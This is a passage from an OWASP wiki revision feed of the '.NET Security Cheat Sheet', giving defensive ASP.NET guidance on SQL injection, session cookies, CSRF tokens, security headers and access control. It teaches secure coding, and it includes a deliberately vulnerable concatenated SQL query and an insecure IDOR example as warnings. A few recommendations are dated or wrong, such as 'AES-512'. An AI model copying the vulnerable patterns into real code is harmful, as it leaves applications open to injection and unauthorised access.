    string strQry = &amp;quot;SELECT * FROM Users WHERE UserName='&amp;quot; + txtUser.Text + &amp;quot;' AND Password='&amp;quot; + txtPassword.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
    EXEC strQry // SQL Injection vulnerability!&lt;br /&gt;
&lt;br /&gt;
DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account&lt;br /&gt;
&lt;br /&gt;
* '''A2 Weak Account management'''&lt;br /&gt;
&lt;br /&gt;
Ensure cookies are sent via httpOnly:&lt;br /&gt;
&lt;br /&gt;
     CookieHttpOnly = true,&lt;br /&gt;
&lt;br /&gt;
Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:&lt;br /&gt;
&lt;br /&gt;
     ExpireTimeSpan = TimeSpan.FromMinutes(60),&lt;br /&gt;
     SlidingExpiration = false&lt;br /&gt;
&lt;br /&gt;
See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet&lt;br /&gt;
&lt;br /&gt;
Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Require all custom cookies to travel via SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;httpCookies requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;authentication&amp;gt;&lt;br /&gt;
      &amp;lt;forms requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;!-- SECURE: Authentication cookie should only be passed over SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;/authentication&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.&lt;br /&gt;
&lt;br /&gt;
    [HttpPost]&lt;br /&gt;
    [AllowAnonymous]&lt;br /&gt;
    [ValidateAntiForgeryToken]&lt;br /&gt;
    '''[AllowXRequestsEveryXSecondsAttribute(Name = &amp;quot;LogOn&amp;quot;, Message = &amp;quot;You have performed this action more than {x} times in the last {n} seconds.&amp;quot;, Requests = 3, Seconds = 60)]'''&lt;br /&gt;
    public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling&lt;br /&gt;
&lt;br /&gt;
DO NOT: Roll your own authentication or session management, use the one provided by .Net&lt;br /&gt;
&lt;br /&gt;
DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''A3 Cross Site Scripting'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists&lt;br /&gt;
&lt;br /&gt;
You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:&lt;br /&gt;
&lt;br /&gt;
    Install-Package AntiXSS&lt;br /&gt;
&lt;br /&gt;
then set in config:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
        &amp;lt;!-- SECURE: Don't disclose version header in each IIS response, encode ALL output including CSS, JavaScript etc, reduce max request length as mitigation against DOS --&amp;gt;&lt;br /&gt;
        &amp;lt;httpRuntime targetFramework=&amp;quot;4.5&amp;quot; enableVersionHeader=&amp;quot;false&amp;quot; encoderType=&amp;quot;Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary&amp;quot; maxRequestLength=&amp;quot;4096&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.&lt;br /&gt;
&lt;br /&gt;
DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
                &amp;amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'&amp;quot; /&amp;amp;gt;&lt;br /&gt;
                ...&lt;br /&gt;
&lt;br /&gt;
* '''A4 Insecure Direct object references'''&lt;br /&gt;
&lt;br /&gt;
When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there&lt;br /&gt;
&lt;br /&gt;
    // Insecure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            return View(&amp;quot;Details&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
    // Secure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            // Establish user has right to edit the details&lt;br /&gt;
            if (user.Id != _userIdentity.GetUserId())&lt;br /&gt;
            {&lt;br /&gt;
                HandleErrorInfo error = new HandleErrorInfo(new Exception(&amp;quot;INFO: You do not have permission to edit these details&amp;quot;));&lt;br /&gt;
                return View(&amp;quot;Error&amp;quot;, error);&lt;br /&gt;
            }&lt;br /&gt;
            return View(&amp;quot;Edit&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
* '''A5 Security Misconfiguration'''&lt;br /&gt;
&lt;br /&gt;
Ensure debug and trace are off in production. This can be enforced using web.config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure debug information is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;compilation xdt:Transform=&amp;quot;RemoveAttributes(debug)&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure trace is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;trace enabled=&amp;quot;false&amp;quot; xdt:Transform=&amp;quot;Replace&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use default passwords&lt;br /&gt;
&lt;br /&gt;
DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:&lt;br /&gt;
&lt;br /&gt;
	protected void Application_BeginRequest()&lt;br /&gt;
		{&lt;br /&gt;
    #if !DEBUG&lt;br /&gt;
            // SECURE: Ensure any request is returned over SSL/TLS in production&lt;br /&gt;
            if (!Request.IsLocal &amp;amp;&amp;amp; !Context.Request.IsSecureConnection) {&lt;br /&gt;
                var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace(&amp;quot;http:&amp;quot;, &amp;quot;https:&amp;quot;);&lt;br /&gt;
                Response.Redirect(redirect);&lt;br /&gt;
            }&lt;br /&gt;
    #endif&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
* '''A6 Sensitive data exposure'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Store encrypted passwords.&lt;br /&gt;
&lt;br /&gt;
DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.&lt;br /&gt;
&lt;br /&gt;
DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy. &lt;br /&gt;
&lt;br /&gt;
DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.&lt;br /&gt;
&lt;br /&gt;
DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].&lt;br /&gt;
&lt;br /&gt;
DO NOT: Allow SSL, this is now obsolete&lt;br /&gt;
&lt;br /&gt;
DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]&lt;br /&gt;
&lt;br /&gt;
DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:&lt;br /&gt;
    &amp;amp;lt;system.web&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/system.web&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;security&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/security&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;/customHeaders&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/httpProtocol&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''A7 Missing function level access control'''&lt;br /&gt;
&lt;br /&gt;
DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize(Roles = &amp;quot;Admin&amp;quot;)]&lt;br /&gt;
     [HttpGet]&lt;br /&gt;
     public ActionResult Index(int page = 1)&lt;br /&gt;
&lt;br /&gt;
or better yet, at controller level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize]&lt;br /&gt;
     public class UserController&lt;br /&gt;
&lt;br /&gt;
You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)&lt;br /&gt;
&lt;br /&gt;
* '''A8 Cross site request forgery'''&lt;br /&gt;
&lt;br /&gt;
DO: Send the anti-forgery token with every Post/Put request:&lt;br /&gt;
&lt;br /&gt;
    using (Html.BeginForm(&amp;quot;LogOff&amp;quot;, &amp;quot;Account&amp;quot;, FormMethod.Post, new { id = &amp;quot;logoutForm&amp;quot;, @class = &amp;quot;pull-right&amp;quot; }))&lt;br /&gt;
        {&lt;br /&gt;
        @Html.AntiForgeryToken()&lt;br /&gt;
        &amp;amp;lt;ul class=&amp;quot;nav nav-pills&amp;quot;&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;Logged on as @User.Identity.Name&amp;lt;/li&amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;&amp;amp;lt;a href=&amp;quot;javascript:document.getElementById('logoutForm').submit()&amp;quot;&amp;amp;gt;Log off&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/li&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;/ul&amp;amp;gt;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Then validate it at the method or preferably the controller level:&lt;br /&gt;
&lt;br /&gt;
        [HttpPost]&lt;br /&gt;
        '''[ValidateAntiForgeryToken]'''&lt;br /&gt;
        public ActionResult LogOff()&lt;br /&gt;
&lt;br /&gt;
Make sure the tokens are removed completely for invalidation on logout.&lt;br /&gt;
&lt;br /&gt;
        /// &amp;lt;summary&amp;gt;&lt;br /&gt;
        /// SECURE: Remove any remaining cookies including Anti-CSRF cookie&lt;br /&gt;
        /// &amp;lt;/summary&amp;gt;&lt;br /&gt;
        public void RemoveAntiForgeryCookie(Controller controller)&lt;br /&gt;
        {&lt;br /&gt;
            string[] allCookies = controller.Request.Cookies.AllKeys;&lt;br /&gt;
            foreach (string cookie in allCookies)&lt;br /&gt;
            {&lt;br /&gt;
                if (controller.Response.Cookies[cookie] != null &amp;amp;&amp;amp; cookie == &amp;quot;__RequestVerificationToken&amp;quot;)&lt;br /&gt;
                {&lt;br /&gt;
                    controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
NB: You will need to attach the anti-forgery token to Ajax requests.&lt;br /&gt;
&lt;br /&gt;
* '''A9 Using components with known vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
DO: Keep the .Net framework updated with the latest patches&lt;br /&gt;
&lt;br /&gt;
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
DO:  Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]&lt;br /&gt;
&lt;br /&gt;
* '''A10 Unvalidated redirects and forwards'''&lt;br /&gt;
&lt;br /&gt;
A protection against this was introduced in Mvc 3 template. Here is the code:&lt;br /&gt;
&lt;br /&gt;
        public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (ModelState.IsValid)&lt;br /&gt;
            {&lt;br /&gt;
                var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);&lt;br /&gt;
                if (logonResult.Success)&lt;br /&gt;
                {&lt;br /&gt;
                    await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);                              &lt;br /&gt;
                    return RedirectToLocal(returnUrl);&lt;br /&gt;
        ....&lt;br /&gt;
&lt;br /&gt;
        private ActionResult RedirectToLocal(string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (Url.IsLocalUrl(returnUrl))&lt;br /&gt;
            {&lt;br /&gt;
                return Redirect(returnUrl);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                return RedirectToAction(&amp;quot;Landing&amp;quot;, &amp;quot;Account&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Other advice:&lt;br /&gt;
&lt;br /&gt;
* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]&lt;br /&gt;
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]&lt;br /&gt;
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.&lt;br /&gt;
&lt;br /&gt;
More information:&lt;br /&gt;
&lt;br /&gt;
For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]&lt;br /&gt;
&lt;br /&gt;
==XAML Guidance==&lt;br /&gt;
&lt;br /&gt;
* Work within the constraints of Internet Zone security for your application.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Windows Forms Guidance== &lt;br /&gt;
&lt;br /&gt;
* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
==WCF Guidance==&lt;br /&gt;
&lt;br /&gt;
* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.&lt;br /&gt;
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.&lt;br /&gt;
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.&lt;br /&gt;
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Bill Sempf - bill.sempf(at)owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Troy Hunt - troyhunt(at)hotmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jeremy Long - jeremy.long(at)owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Contributors ==&lt;br /&gt;
&lt;br /&gt;
Shane Murnion&lt;br /&gt;
John Staveley&lt;br /&gt;
Steve Bamelis&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]][[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=233540</id>
		<title>.NET Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=233540"/>
				<updated>2017-09-20T14:56:10Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Reformatted A9&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
== Introduction  ==&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
This page intends to provide quick basic .NET security tips for developers.&lt;br /&gt;
&lt;br /&gt;
===The .NET Framework===&lt;br /&gt;
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.&lt;br /&gt;
&lt;br /&gt;
===Updating the Framework===&lt;br /&gt;
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.&lt;br /&gt;
&lt;br /&gt;
Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&amp;amp;referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.&lt;br /&gt;
&lt;br /&gt;
Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.&lt;br /&gt;
&lt;br /&gt;
==.NET Framework Guidance==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.&lt;br /&gt;
&lt;br /&gt;
=== Data Access ===&lt;br /&gt;
&lt;br /&gt;
* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.&lt;br /&gt;
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].&lt;br /&gt;
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.&lt;br /&gt;
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.&lt;br /&gt;
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.&lt;br /&gt;
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.&lt;br /&gt;
* When using SQL Server, prefer integrated authentication over SQL authentication.&lt;br /&gt;
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),&lt;br /&gt;
&lt;br /&gt;
=== Encryption ===&lt;br /&gt;
* Never, ever write your own encryption.&lt;br /&gt;
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.&lt;br /&gt;
* Use a strong hash algorithm. &lt;br /&gt;
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].&lt;br /&gt;
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].&lt;br /&gt;
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.&lt;br /&gt;
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.&lt;br /&gt;
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.&lt;br /&gt;
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.&lt;br /&gt;
&lt;br /&gt;
=== General ===&lt;br /&gt;
&lt;br /&gt;
* Lock down the config file. &lt;br /&gt;
** Remove all aspects of configuration that are not in use. &lt;br /&gt;
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe&lt;br /&gt;
&lt;br /&gt;
* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET Web Forms Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.&lt;br /&gt;
&lt;br /&gt;
* Always use [http://support.microsoft.com/kb/324069 HTTPS].&lt;br /&gt;
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.&lt;br /&gt;
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].&lt;br /&gt;
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.&lt;br /&gt;
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 protected override OnInit(EventArgs e) {&lt;br /&gt;
     base.OnInit(e); &lt;br /&gt;
     ViewStateUserKey = Session.SessionID;&lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.&lt;br /&gt;
&lt;br /&gt;
 private const string AntiXsrfTokenKey = &amp;quot;__AntiXsrfToken&amp;quot;;&lt;br /&gt;
 private const string AntiXsrfUserNameKey = &amp;quot;__AntiXsrfUserName&amp;quot;;&lt;br /&gt;
 private string _antiXsrfTokenValue;&lt;br /&gt;
 protected void Page_Init(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     // The code below helps to protect against XSRF attacks&lt;br /&gt;
     var requestCookie = Request.Cookies[AntiXsrfTokenKey];&lt;br /&gt;
     Guid requestCookieGuidValue;&lt;br /&gt;
     if (requestCookie != null &amp;amp;&amp;amp; Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))&lt;br /&gt;
     {&lt;br /&gt;
        // Use the Anti-XSRF token from the cookie&lt;br /&gt;
        _antiXsrfTokenValue = requestCookie.Value;&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Generate a new Anti-XSRF token and save to the cookie&lt;br /&gt;
        _antiXsrfTokenValue = Guid.NewGuid().ToString(&amp;quot;N&amp;quot;);&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
        var responseCookie = new HttpCookie(AntiXsrfTokenKey)&lt;br /&gt;
        {&lt;br /&gt;
           HttpOnly = true,&lt;br /&gt;
           Value = _antiXsrfTokenValue&lt;br /&gt;
        };&lt;br /&gt;
        if (FormsAuthentication.RequireSSL &amp;amp;&amp;amp; Request.IsSecureConnection)&lt;br /&gt;
        {&lt;br /&gt;
           responseCookie.Secure = true;&lt;br /&gt;
        }&lt;br /&gt;
        Response.Cookies.Set(responseCookie);&lt;br /&gt;
     }&lt;br /&gt;
     Page.PreLoad += master_Page_PreLoad;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 protected void master_Page_PreLoad(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     if (!IsPostBack)&lt;br /&gt;
     {&lt;br /&gt;
        // Set Anti-XSRF token&lt;br /&gt;
        ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;&lt;br /&gt;
        ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Validate the Anti-XSRF token&lt;br /&gt;
        if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue || &lt;br /&gt;
           (string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))&lt;br /&gt;
        {&lt;br /&gt;
           throw new InvalidOperationException(&amp;quot;Validation of Anti-XSRF token failed.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.&lt;br /&gt;
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.&lt;br /&gt;
** In the Home pane, double-click HTTP Response Headers.&lt;br /&gt;
** In the HTTP Response Headers pane, click Add... in the Actions pane.&lt;br /&gt;
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.&lt;br /&gt;
** This is a recommended web.config setup that handles HSTS among other things.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
  &amp;lt;configuration&amp;gt;&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
      &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;/system.web&amp;gt;&lt;br /&gt;
    &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
      &amp;lt;security&amp;gt;&lt;br /&gt;
        &amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/security&amp;gt;&lt;br /&gt;
